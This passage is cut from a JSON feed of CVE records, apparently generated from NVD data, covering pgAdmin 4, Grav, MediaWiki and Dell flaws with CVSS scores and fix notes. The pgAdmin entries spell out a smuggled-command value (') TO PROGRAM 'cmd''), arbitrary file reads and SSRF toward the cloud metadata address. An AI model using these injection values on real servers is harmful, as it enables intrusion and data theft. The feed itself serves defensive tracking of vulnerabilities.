Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/pgadmin-org/pgadmin4/issues/9901","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-7817","cveId":"CVE-2026-7817","aliases":[],"kind":"vulnerability","title":"Local file inclusion (LFI) and server-side request forgery (SSRF) vulnerabilities in pgAdmin 4 LLM API configuration endpoints.","summary":"Local file inclusion (LFI) and server-side request forgery (SSRF) vulnerabilities in pgAdmin 4 LLM API configuration endpoints.\n\nUser-supplied api_key_file and api_url preferences were passed to the LLM provider clients without validation. An authenticated user could read arbitrary server-side files by pointing api_key_file at any path readable by the pgAdmin process, or coerce pgAdmin into making requests to internal targets (e.g. cloud metadata services such as 169.254.169.254) by setting api_url, exploiting the chat path and model-list endpoints.\n\nFix restricts api_key_file to the user's private storage (server mode) or home directory (desktop mode), enforces a printable-ASCII key shape and a 1024-byte read cap, and gates api_url against a configurable allow-list (config.ALLOWED_LLM_API_URLS) at every entry point.\n\nThis issue affects pgAdmin 4: before 9.15.","detail":"Local file inclusion (LFI) and server-side request forgery (SSRF) vulnerabilities in pgAdmin 4 LLM API configuration endpoints.\n\nUser-supplied api_key_file and api_url preferences were passed to the LLM provider clients without validation. An authenticated user could read arbitrary server-side files by pointing api_key_file at any path readable by the pgAdmin process, or coerce pgAdmin into making requests to internal targets (e.g. cloud metadata services such as 169.254.169.254) by setting api_url, exploiting the chat path and model-list endpoints.\n\nFix restricts api_key_file to the user's private storage (server mode) or home directory (desktop mode), enforces a printable-ASCII key shape and a 1024-byte read cap, and gates api_url against a configurable allow-list (config.ALLOWED_LLM_API_URLS) at every entry point.\n\nThis issue affects pgAdmin 4: before 9.15.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-11T16:17:38.590Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"pgadmin","product":"pgadmin 4","stacks":["Pgadmin","pgadmin 4"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-7817","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-7817","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-7817","type":"primary","publishedAt":"2026-05-11T16:17:38.590Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/pgadmin-org/pgadmin4/issues/9900","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-7816","cveId":"CVE-2026-7816","aliases":[],"kind":"vulnerability","title":"OS command injection (CWE-78) vulnerability in pgAdmin 4 Import/Export query export.","summary":"OS command injection (CWE-78) vulnerability in pgAdmin 4 Import/Export query export.\n\nUser-supplied input was interpolated directly into a psql \\copy metacommand template without sanitization. An authenticated user could inject \") TO PROGRAM 'cmd'\" to break out of the \\copy (...) context and achieve arbitrary command execution on the pgAdmin server, or \") TO '/path'\" for arbitrary file write. Additional fields (format, on_error, log_verbosity) were also raw-interpolated and exploitable.\n\nFix adds a parens-balance parser modeled on psql's strtokx tokenizer, allow-lists format/on_error/log_verbosity, rejects null bytes in the query, and tightens type and gating checks.\n\nThis issue affects pgAdmin 4: before 9.15.","detail":"OS command injection (CWE-78) vulnerability in pgAdmin 4 Import/Export query export.\n\nUser-supplied input was interpolated directly into a psql \\copy metacommand template without sanitization. An authenticated user could inject \") TO PROGRAM 'cmd'\" to break out of the \\copy (...) context and achieve arbitrary command execution on the pgAdmin server, or \") TO '/path'\" for arbitrary file write. Additional fields (format, on_error, log_verbosity) were also raw-interpolated and exploitable.\n\nFix adds a parens-balance parser modeled on psql's strtokx tokenizer, allow-lists format/on_error/log_verbosity, rejects null bytes in the query, and tightens type and gating checks.\n\nThis issue affects pgAdmin 4: before 9.15.\n\nNVD status: Modified. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-11T16:17:38.260Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"pgadmin","product":"pgadmin 4","stacks":["Pgadmin","pgadmin 4"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-7816","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-7816","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-7816","type":"primary","publishedAt":"2026-05-11T16:17:38.260Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/pgadmin-org/pgadmin4/issues/9899","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-7815","cveId":"CVE-2026-7815","aliases":[],"kind":"vulnerability","title":"SQL injection vulnerability in pgAdmin 4 Maintenance Tool.","summary":"SQL injection vulnerability in pgAdmin 4 Maintenance Tool.\n\nFour user-supplied JSON fields (buffer_usage_limit, vacuum_parallel, vacuum_index_cleanup, reindex_tablespace) were concatenated directly into the rendered VACUUM/ANALYZE/REINDEX command and passed to psql --command. An authenticated user with the tools_maintenance permission could break out of the option syntax and execute arbitrary SQL on the connected PostgreSQL server. The injected SQL could in turn invoke COPY ... TO PROGRAM to escalate to operating-system command execution on the database host.\n\nFix introduces server-side allow-listing of all four fields and switches reindex_tablespace from manual quoting to the qtIdent filter.\n\nThis issue affects pgAdmin 4: before 9.15.","detail":"SQL injection vulnerability in pgAdmin 4 Maintenance Tool.\n\nFour user-supplied JSON fields (buffer_usage_limit, vacuum_parallel, vacuum_index_cleanup, reindex_tablespace) were concatenated directly into the rendered VACUUM/ANALYZE/REINDEX command and passed to psql --command. An authenticated user with the tools_maintenance permission could break out of the option syntax and execute arbitrary SQL on the connected PostgreSQL server. The injected SQL could in turn invoke COPY ... TO PROGRAM to escalate to operating-system command execution on the database host.\n\nFix introduces server-side allow-listing of all four fields and switches reindex_tablespace from manual quoting to the qtIdent filter.\n\nThis issue affects pgAdmin 4: before 9.15.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-11T16:17:37.873Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"pgadmin","product":"pgadmin 4","stacks":["Pgadmin","pgadmin 4"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-7815","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-7815","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-7815","type":"primary","publishedAt":"2026-05-11T16:17:37.873Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/pgadmin-org/pgadmin4/issues/9898","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-42612","cveId":"CVE-2026-42612","aliases":[],"kind":"vulnerability","title":"Grav is a file-based Web platform.","summary":"Grav is a file-based Web platform. Prior to 2.0.0-beta.2, a stored Cross-Site Scripting (XSS) vulnerability in getgrav/grav allows publisher-level accounts to execute arbitrary JavaScript. The issue arises from a blacklist bypass in the detectXss() function when handling unquoted HTML event attributes. This vulnerability is fixed in 2.0.0-beta.2.","detail":"Grav is a file-based Web platform. Prior to 2.0.0-beta.2, a stored Cross-Site Scripting (XSS) vulnerability in getgrav/grav allows publisher-level accounts to execute arbitrary JavaScript. The issue arises from a blacklist bypass in the detectXss() function when handling unquoted HTML event attributes. This vulnerability is fixed in 2.0.0-beta.2.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-11T16:17:34.350Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"getgrav","product":"grav","stacks":["Getgrav","grav"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-42612","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-42612","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42612","type":"primary","publishedAt":"2026-05-11T16:17:34.350Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/getgrav/grav/security/advisories/GHSA-9695-8fr9-hw5q","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-42611","cveId":"CVE-2026-42611","aliases":[],"kind":"vulnerability","title":"Grav is a file-based Web platform.","summary":"Grav is a file-based Web platform. Prior to 2.0.0-beta.2, a low-privileged (with the ability to create a page) user can cause XSS with the injection of svg element. The XSS can further be escalated to dump the entire system information available under /admin/config/info whenever a Super Admin visits the page; which can further be chained with the use of admin-nonce to do a complete server compromise (RCE). This vulnerability is fixed in 2.0.0-beta.2.","detail":"Grav is a file-based Web platform. Prior to 2.0.0-beta.2, a low-privileged (with the ability to create a page) user can cause XSS with the injection of svg element. The XSS can further be escalated to dump the entire system information available under /admin/config/info whenever a Super Admin visits the page; which can further be chained with the use of admin-nonce to do a complete server compromise (RCE). This vulnerability is fixed in 2.0.0-beta.2.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-11T16:17:34.173Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"getgrav","product":"grav","stacks":["Getgrav","grav"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.9,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-42611","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-42611","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42611","type":"primary","publishedAt":"2026-05-11T16:17:34.173Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/getgrav/grav/security/advisories/GHSA-w8cg-7jcj-4vv2","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-42609","cveId":"CVE-2026-42609","aliases":[],"kind":"vulnerability","title":"Grav is a file-based Web platform.","summary":"Grav is a file-based Web platform. Prior to 2.0.0-beta.2, a business logic vulnerability in the Grav Admin Panel allows a low-privileged user (with only user creation permissions) to overwrite existing accounts, including the primary administrator. By creating a new user with a username that already exists, the system updates the existing account's metadata and permissions instead of rejecting the request. This leads to a Denial of Service (DoS) on administrative functions and Privilege De-escalation of the root account. This vulnerability is fixed in 2.0.0-beta.2.","detail":"Grav is a file-based Web platform. Prior to 2.0.0-beta.2, a business logic vulnerability in the Grav Admin Panel allows a low-privileged user (with only user creation permissions) to overwrite existing accounts, including the primary administrator. By creating a new user with a username that already exists, the system updates the existing account's metadata and permissions instead of rejecting the request. This leads to a Denial of Service (DoS) on administrative functions and Privilege De-escalation of the root account. This vulnerability is fixed in 2.0.0-beta.2.\n\nNVD status: Modified. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-11T16:17:33.610Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"getgrav","product":"grav","stacks":["Getgrav","grav"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-42609","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-42609","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42609","type":"primary","publishedAt":"2026-05-11T16:17:33.610Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/getgrav/grav/security/advisories/GHSA-rr73-568v-28f8","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-42608","cveId":"CVE-2026-42608","aliases":[],"kind":"vulnerability","title":"Grav is a file-based Web platform.","summary":"Grav is a file-based Web platform. Prior to 2.0.0-beta.2, there is a Path Traversal vulnerability within the FormFlash core component. By manipulating the session_id (passed as __form-flash-id in POST requests), an unauthenticated attacker can traverse the filesystem to create arbitrary directories and write an index.yaml file containing attacker-controlled data. This vulnerability can lead to unauthorized modification of application behavior, potential data integrity issues, and service disruption in production environments. This vulnerability is fixed in 2.0.0-beta.2.","detail":"Grav is a file-based Web platform. Prior to 2.0.0-beta.2, there is a Path Traversal vulnerability within the FormFlash core component. By manipulating the session_id (passed as __form-flash-id in POST requests), an unauthenticated attacker can traverse the filesystem to create arbitrary directories and write an index.yaml file containing attacker-controlled data. This vulnerability can lead to unauthorized modification of application behavior, potential data integrity issues, and service disruption in production environments. This vulnerability is fixed in 2.0.0-beta.2.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-11T16:17:33.207Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"getgrav","product":"grav","stacks":["Getgrav","grav"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-42608","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-42608","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42608","type":"primary","publishedAt":"2026-05-11T16:17:33.207Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/getgrav/grav/security/advisories/GHSA-hmcx-ch82-3fv2","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-34091","cveId":"CVE-2026-34091","aliases":[],"kind":"vulnerability","title":"Exposure of Sensitive Information to an Unauthorized Actor vulnerability in Wikimedia Foundation MediaWiki.","summary":"Exposure of Sensitive Information to an Unauthorized Actor vulnerability in Wikimedia Foundation MediaWiki.\n\nThis issue affects MediaWiki: from * before 1.43.7, 1.44.4, 1.45.2.","detail":"Exposure of Sensitive Information to an Unauthorized Actor vulnerability in Wikimedia Foundation MediaWiki.\n\nThis issue affects MediaWiki: from * before 1.43.7, 1.44.4, 1.45.2.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-11T16:17:30.537Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"mediawiki","product":"mediawiki","stacks":["Mediawiki","mediawiki"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:U/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-34091","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-34091","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34091","type":"primary","publishedAt":"2026-05-11T16:17:30.537Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://phabricator.wikimedia.org/T411305","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-34087","cveId":"CVE-2026-34087","aliases":[],"kind":"vulnerability","title":"Exposure of Sensitive Information to an Unauthorized Actor vulnerability in Wikimedia Foundation OATHAuth.","summary":"Exposure of Sensitive Information to an Unauthorized Actor vulnerability in Wikimedia Foundation OATHAuth.\n\nThis issue affects OATHAuth: from * before 1.43.7, 1.44.4, 1.45.2.","detail":"Exposure of Sensitive Information to an Unauthorized Actor vulnerability in Wikimedia Foundation OATHAuth.\n\nThis issue affects OATHAuth: from * before 1.43.7, 1.44.4, 1.45.2.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-11T16:17:30.023Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"mediawiki","product":"mediawiki","stacks":["Mediawiki","mediawiki"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:N/AU:Y/R:A/V:X/RE:M/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-34087","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-34087","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34087","type":"primary","publishedAt":"2026-05-11T16:17:30.023Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://phabricator.wikimedia.org/T412061","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-35157","cveId":"CVE-2026-35157","aliases":[],"kind":"vulnerability","title":"Dell ECS versions 3.8.1.0 through 3.8.1.7 and Dell ObjectScale versions prior to 4.3.0.0, contains an improper neutralization of formula elements in a CSV File vulnerability in...","summary":"Dell ECS versions 3.8.1.0 through 3.8.1.7 and Dell ObjectScale versions prior to 4.3.0.0, contains an improper neutralization of formula elements in a CSV File vulnerability in the UI. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to remote execution.","detail":"Dell ECS versions 3.8.1.0 through 3.8.1.7 and Dell ObjectScale versions prior to 4.3.0.0, contains an improper neutralization of formula elements in a CSV File vulnerability in the UI. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to remote execution.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-11T10:16:13.490Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"dell","product":"elastic cloud storage","stacks":["Dell","elastic cloud storage"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-35157","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-35157","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-35157","type":"primary","publishedAt":"2026-05-11T10:16:13.490Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.dell.com/support/kbdoc/en-us/000462117/dsa-2026-047-security-update-for-dell-ecs-and-objectscale-multiple-vulnerabilities-1","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-32658","cveId":"CVE-2026-32658","aliases":[],"kind":"vulnerability","title":"Dell Automation Platform versions prior to 2.0.0.0, contains a missing authorization vulnerability.","summary":"Dell Automation Platform versions prior to 2.0.0.0, contains a missing authorization vulnerability. A low privileged attacker with remote access could potentially exploit this vulnerability, leading to Elevation of privileges.","detail":"Dell Automation Platform versions prior to 2.0.0.0, contains a missing authorization vulnerability. A low privileged attacker with remote access could potentially exploit this vulnerability, leading to Elevation of privileges.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and 